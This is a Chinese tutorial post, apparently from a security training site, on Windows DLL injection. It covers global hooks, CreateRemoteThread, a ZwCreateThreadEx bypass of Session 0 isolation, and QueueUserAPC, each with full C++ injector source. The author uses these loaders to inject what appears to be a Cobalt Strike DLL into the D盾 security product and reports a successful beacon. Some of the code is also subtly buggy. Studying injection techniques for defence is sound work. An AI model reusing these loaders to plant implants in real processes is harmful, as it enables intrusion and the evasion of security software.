当前位置: 首页 > 技术干货 > Windows注入技术笔记

Windows注入技术笔记

发表于:2026-07-23 09:44 作者: Luc1dkilL 阅读数(42人)

全局钩子注入

Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。

依据钩子的作用范围,可以分为局部钩子和全局钩子:

  • 局部钩子:针对某个线程

  • 全局钩子:作用于整个系统的消息

WinAPI介绍

关于全局钩子注入Win32 API介绍:

HHOOK WINAPI SetWindowsHookEx{
   _In_ int idHook, // 钩子程序类型
   _In_ HOOKPROC lpfn, // 指向钩子程序的函数指针
   _In_ HINSTANCE hMod, // 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
   _In_ DWORD dwThreadId // 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL

将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联

操作过程

生成DLL文件

新建一个DLL空项目

预编译头pch.h中设置

该文件是预编译标头文件,仅仅编译一次

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
#endif //PCH_H

在pch.cpp文件中实现上述函数

// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"
#include <Windows.h>
#include <stdio.h>

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

extern HMODULE g_hDllModule; // 已经加载的DLL的句柄

// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
#pragma data_seg("mydata") // 相当于use mydata的这种感觉
HHOOK g_hHook = NULL; // Hook句柄(注意与HMODULE的区别)
#pragma data_seg() // 恢复默认的数据段设置
#pragma comment(linker, "/SECTION:mydata,RWS") // 告诉链接器设置为RWS

// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
   // 将当前钩子传递给钩子链中的下一个钩子
}

// 设置钩子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (g_hHook == NULL) {
return FALSE;
}
return TRUE;
}

// 卸载钩子
BOOL UnsetHook() {
if (g_hHook)
{
// 直接 :: 表示从全局作用域解析
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}

然后在DLL的入口文件dllmain.cpp中设置

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                    )
{
   switch (ul_reason_for_call)
  {
   case DLL_PROCESS_ATTACH: // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
  {
       g_hDllModule = hModule;
       break;
  }
   case DLL_THREAD_ATTACH:
   case DLL_THREAD_DETACH:
   case DLL_PROCESS_DETACH:
       break;
  }
   return TRUE;
}

在Release,X86下生成:

image-20240127220704720

可以发现对应文件夹下生成dll文件

image-20240127220737886

测试

新建一个CPP空项目

// 全局钩子注入
#include <iostream>
#include <Windows.h>

int main()
{
// 声明函数指针, 返回值为BOOL, 参数值为空
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();


HMODULE hDll = NULL; // DLL句柄
typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄
typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄
BOOL bRet = FALSE;

do {
// 加载DLL,获得句柄实例
hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
       // 异常检测
if (hDll == NULL) {
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}

       // 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}

bRet = SetGlobalHook(); // 运行函数 -- 设置全局钩子
if (bRet) {
printf("SetGlobalHook OK.\n");
}
else {
printf("SetGlobal Hook Error.\n");
}

system("pause");

       // 同理获取卸载全局钩子
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}

       // 卸载全局钩子
UnsetGlobalHook();
printf("UnsetGlobalHook OK. \n");
} while (FALSE);

system("pause");
return 0;
}

image-20240127223514057

远程线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术

核心函数主要如下:

  • LoadLibrary:将指定的DLL文件动态加载到进程空间

  • CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程

大致原理:

  • 获得LoadLibrary函数的地址

    虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。

  • 写入注入的DLL路径字符串

    通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中

WinAPI介绍

  • OpenProcess

打开现有的本地进程,获得句柄

HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess, //
   _In_ BOOL bInheritHandle, // True => 将继承原本进程中已有的句柄
   _In_ DWORD dwProcessId // 要打开的进程PID
)
  • VirtualAllocEx

对指定进程的虚拟地址空间内保留、提交或更改内存的状态

LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE  hProcess, // 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
   _In_opt_ LPVOID lpAddress, // 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
   _In_ SIZE_T dwSize, // 分配的内存大小,以字节为单位
   _In_ DWORD flAllocationType, // 内存分配类型
_In_ DWORD flProtect // 要分配的页面区域的内存保护类型
)
  • WriteProcessMemory

在指定进程的指定可访问的内存区域写入数据

BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, // 目标进程的句柄
   _In_ LPVOID lpBaseAddress, // 要写入数据的内存区域的基地址
   _In_ LPCVOID lpBuffer, // 存储数据的缓冲区的基地址
   _In_ SIZE_T nSize, // 要写入的字节数
   _Out_ SIZE_T *lpNumberOfBytesWritten
)
   // 成功则返回值不为NULL
  • CreateRemoteThread

在指定进程中创建运行的线程

HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess, // 目标进程的句柄
   _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
   _In_ SIZE_T dwStackSize, // 堆栈的初始大小
_In_ LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
   _In_ LPVOID lpParameter, // 指向要传递给线程函数的变量的指针
   _In_ DWROD dwCreationFlags, // 控制线程创建的标志,若为0则表示线程在创建后立即执行
   _Out_ LPDWORD lpThread // 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)

操作过程

生成DLL文件

dllmain.cpp文件

#include "pch.h"

BOOL APIENTRY DllMain(
   HMODULE hModule,
   DWORD ul_reason_for_call,
   LPVOID lpReserved
)
{
   switch (ul_reason_for_call)
  {
       case DLL_PROCESS_ATTACH:
           MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
       case DLL_THREAD_ATTACH:
           MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:
           break;
  };
   return TRUE;

}

然后直接生成dll

测试

核心函数在于远程线程注入_RemoteThreadInjection中:

  • 函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)

DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)
  • OpenProcess打开进程获得句柄

hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
   printf("OpenProcess Error\n");
   return FALSE;
}
  • VirtualAllocEx API申请内存,该内存存储

_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数

// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
   MEM_COMMIT, PAGE_READWRITE);
   // 第二个参数表示分配页面所需起始地址的指针
   // 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
   // 第五个参数表示要分配的页面区域的内存保护,如果yem

if (pDllAddr == NULL) {
   printf("Process Memory Allocation Error\n");
   return FALSE;
}
  • 申请完之后就是使用WriteProcessMemory写数据

BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
  • 获取LoadLibraryW的地址

pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");
  • 创建线程,并传入参数

hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);
  • 释放资源等操作

完整源码:

// 远程线程注入
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "tchar.h" // 宽字符

char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";


// LPCWSTR: long pointer to a wide string
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
// 变量声明
HANDLE hprocess; // 目标进程的句柄
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pDllAddr = NULL; // 申请内存空间
DWORD DllAddr = 0;
FARPROC pThread;

// 打开进程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}

// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem

if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}

// 向申请的内存写入数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}

// 获取LoadLibraryW(支持宽字符)函数地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数

// 在目标进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
// hprocess指向了目标进程
// addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
// pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
if (hThread == NULL) {
printf("Create Remote Thread Error\n");
return FALSE;
}

//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);

// 释放DLL空间
VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);

// 关闭句柄
::CloseHandle(hprocess);
return TRUE;
}

int main() {
DWORD _PID = 1220; // 根据实际进程的PID填入
_RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}

注入之前:

image-20240129154125529

注入之后:可以观察到其实不止多了DLLInjection.dll文件

image-20240129154201976

image-20260719141347276

突破SESSION 0 隔离的远线程注入

在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离

image-20240129154717719

Session 0隔离机制

参考:https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361?ranMID=46131&ranEAID=a1LgFw09t88&ranSiteID=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&epi=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&irgwc=1&OCID=AIDcmm549zy227_aff_7806_1243925&tduid=(ir__9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00)(7806)(1243925)(a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew)()&irclickid=_9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00

在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。

此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 ...

Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。

image-20260719141716947

WinAPI介绍

原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程

// win64
DWORD WINAPI ZwCreateThreadEx{
   PHANDLE ThreadHandle,
   ACCESS_MASK DesiredAccess,
   LPVOID ObjectAttributes,
   HANDLE ProcessHandle,
   LPTHREAD_START_ROUTINE lpStartAddress,
   LPVOID lpParameter,
   ULONG CreateThreadFlags,
   SIZE_T ZeroBits,
   SIZE_T StackSize,
   SIZE_T MaximumStackSize,
   LPVOID pUnkown
}

// win32
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
   ACCESS_MASK DesiredAccess,
   LPVOID ObjectAttributes,
   HANDLE ProcessHandle,
   LPTHREAD_START_ROUTINE lpStartAddress,
   LPVOID lpParameter,
   BOOL CreateSuspended,
   DWORD dwStackSize,
   DWORD dw1,
   DWORD dw2,
   LPVOID pUnknown
}


操作过程

// 突破session 0隔离机制注入DLL

#include <Windows.h>
#include <stdio.h>
#include <iostream>
//#include "tchar.h"


// 使用typedef对ZwCreateThreadEx创建函数指针
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
   PHANDLE ThreadHandle,
   ACCESS_MASK DesiredAccess,
   LPVOID ObjectAttributes,
   HANDLE ProcessHandle,
   LPTHREAD_START_ROUTINE lpStartAddress,
   LPVOID lpParameter,
   ULONG CreateThreadFlags,
   SIZE_T ZeroBits,
   SIZE_T StackSize,
   SIZE_T MaximumStackSize,
   LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
   PHANDLE ThreadHandle,
   ACCESS_MASK DesiredAccess,
   LPVOID ObjectAttributes,
   HANDLE ProcessHandle,
   LPTHREAD_START_ROUTINE lpStartAddress,
   LPVOID lpParameter,
   BOOL CreateSuspended,
   DWORD dwStackSize,
   DWORD dw1,
   DWORD dw2,
   LPVOID pUnkown);
#endif





BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL flag = FALSE;
// OpenProcessToken 打开与进程关联的token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

       int valueGetLastError = GetLastError();

flag = (valueGetLastError == ERROR_SUCCESS);
CloseHandle(hToken);
}
return flag;
}



BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
   // 变量声明
   HANDLE hProcess = NULL;
   SIZE_T dwSize = 0;
   LPVOID pDllAddr = NULL;
   FARPROC LoadLibraryA_Addr = NULL;
   HANDLE hRemoteThread = NULL;        // 远程线程
   DWORD dwStatus = 0;
   
// 提权 -- 启用SeDebugPrivilege权限
   //BOOL isPrivieged = EnableDebugPrivilege();
   //if (isPrivieged == FALSE) {
   //   printf("Can't get SeDebugPrivilege!\n");
   //   return FALSE;
   //}

                       // 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
   hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
   if (hProcess == NULL) {
       printf("Open Process Error!\n");
       return FALSE;
  }

   // 申请内存
       // 申请内存的大小
   dwSize = ::strlen(DLLPath) + 1;
           // ::lstrlen   对于宽字符串
           // ::strlen   对于字符串
       // 申请,返回基地址
   pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

   if (pDllAddr == NULL) {
       printf("Virtual Allocation Error\n");
       return FALSE;
  }
   

   // 写入DLL路径
   BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
   if (isWriteSuccess == FALSE) {
       printf("Write Process Memory Error\n");
       return FALSE;
  }

   // 加载ntdll.dll
   HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");

   if (hNtdDll == NULL)
  {
       printf("Load ntdll.dll Error\n");
  }

   // 获取LoadLibraryA函数地址
   LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

   if (LoadLibraryA_Addr == NULL)
  {
       printf("Get the address of LoadLibrary Error!\n");
       return FALSE;
  }


   // 获得ZwCreateThreadEx函数地址
       // 使用函数指针类型的变量来接收
   typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
   
   if (ZwCreateThreadEx == NULL) {
       printf("Get the address of LoadLibrary Error!\n");
       return FALSE;
  }


   // 使用ZwCreateThreadEx创建远程线程,实现DLL注入
   dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
       NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
       0, 0, 0, 0, NULL);

   if (hRemoteThread == NULL) {
       printf("ZwCreateThread Error!\n");
       return FALSE;
  }


   // 关闭句柄
  ::CloseHandle(hProcess);        // 对于HANDLE
  ::FreeLibrary(hNtdDll);         // 对于HModule
   
   return TRUE;
}


int main()
{

#ifdef _WIN64
   BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
#else
   BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll");
#endif
   if (flag == FALSE) {
       MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
  }
   else {
       MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
  }
   return 0;
}

选择D盾开刀

image-20240129225520558

CS上线

image-20260719134812263

APC注入

APC机制

在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。

WinAPI介绍

QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中

DWORD WINAPI QueueUserAPC(
_In_ PAPCFIMC pfnAPC,
_In_ HANDLE hThread,
   _In_ ULONG_PTR dwData
)

操作过程

  • 通过OpenProcess函数打开目标进程,获取目标进程的句柄

  • 遍历线程快照,获取所有线程ID

  • 调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径

  • 遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄

    并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址

  • 唤醒任意线程,即可执行APC,完成DLL的APC注入

// APCInjection.cpp

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>


void PrintError(const char* errContext) {
char Error[MAX_PATH] = { 0 };
::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError());
::MessageBoxA(NULL, Error, "ERROR", MB_OK);
}


// 获取指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {

// 申请空间
DWORD dwThreadIdListLength = 0; // 线程数组的索引
DWORD dwThreadIdListMaxCount = 2000; // 最大线程数
LPDWORD pThreadIdList = NULL; // 链表的头部
// LPDWORD: 指向DWORD的指针
HANDLE hThreadSnap = INVALID_HANDLE_VALUE; // 线程句柄

pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// NULL未指定起始地址
if (pThreadIdList == NULL) {
return FALSE;
}

// 初始化为0
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

THREADENTRY32 th32 = { 0 };

// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}

// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);


// 遍历所有THREADENTRY32结构,按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}

*pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
*ppThreadIdList = pThreadIdList; // 线程地址的数组

return TRUE;

}


BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{ // (指定进程, DLL路径, 线程链表的头部, 链表长度)

// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;

lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (lpAddr == NULL)
{
PrintError("VirtualAllocEx - Error\n\n");
// 释放空间
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
// 关闭
CloseHandle(hProcess);
return FALSE;
}

// 将DLL路径写入到内存中
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);

if (isWriteSuccess == FALSE)
{
PrintError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
CloseHandle(hProcess);
return FALSE;
}

// 获得LoadLibraryA的地址
PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// PVOID: void*

// 遍历线程链表, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}

printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);

float FailRate = dwThreadIdListLength / fail;

if ((int)fail == 0 || FailRate > 0.5) {
printf("Successful! APC Injection!\n");
return TRUE;
}
else {
printf("Fail!\n");
return FALSE;
}

}


int main()
{

DWORD PID = 10544;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;

#ifdef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#else
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#endif

BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
if (!isGetProcessThreadList)
{
printf("Can't list the threads\n");
exit(0);
}

// 打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);

if (hProcess == NULL) {
printf("Failed to open Process\n");
return FALSE;
}

// 注入
BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
if (!isInjectSuccess) {
printf("Failed to inject DLL\n");
return FALSE;
}

return 0;

}

拿D盾开刀:

image-20240131153206368

还是CS上线

image-20260719135011798

 

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 红队攻防特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC漏洞高阶实战课 HVV大师课